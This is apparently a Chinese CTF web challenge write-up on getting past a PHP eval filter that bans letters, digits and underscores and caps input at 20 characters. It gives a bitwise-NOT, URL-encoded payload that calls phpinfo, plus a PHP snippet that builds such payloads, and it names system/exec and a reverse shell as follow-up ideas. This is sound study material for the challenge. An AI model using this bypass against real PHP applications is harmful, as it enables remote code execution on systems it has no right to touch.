CTF赛题PHP7 正则绕过

题目为ctf web中php正则绕过题

前言：由于长度限制，且不像其他题目告知flag.php的内容， 笔者并没有求出flag，绕过思路可参考，也欢迎ctf大佬指点迷津。

题目如下，解析flag.php中的flag变量

<?php
include("flag.php");
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>20){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}

解题思路

1.题目不告知flag.php的内容，所以唯一的办法只有打印出flag.php，先想办法绕过

2.因为_也在正则里面，所以 =${_GET}[_]();&_=phpinfo()没办法传入

3.尝试php7 中的($a)()；来执行动态函数 例如 ('phpinfo')()

4.那么动态构造函数名称即可，可理解，假如你是：(1+1)(); php会先运算1+1=2 然后在调用：2()；

5.借助大牛的payload (~%8F%97%8F%96%91%99%90)();成功执行

image

6.payload构造方式如下

<?php
$a = 'phpinfo';
$b=~$a;
echo ~$a;
echo "------";
echo urlencode($b);

** 如何理解？ **
对执行的函数取反然后进行 urlencode 详细可自行科普

7.当前可执行phpinfo，如何获取flag.php的内容？思路继续扩展

• a.使用php中的 system 或者exec 函数进行执行系统命令
• b.弹shell？ 绕不过长度限制
• c.使用file()函数读取文件，需要联合var_dump或者print_r，绕不过长度

以上均是长度限制 笔者解题终于此

扩展 已经只flag.php文件的情况下 例如

<?php
    function getFlag(){
        $flag = "111111111111111111";
        echo $flag;
};
?>

那么只需要 执行getFlag()函数即可
('getFlag')();对flag进行编码

以上就是笔者对php绕过的小理解和内容分享

参考文章：http://www.ttk7.cn/post-121.html

欢迎讨论，持续更新中，感谢关注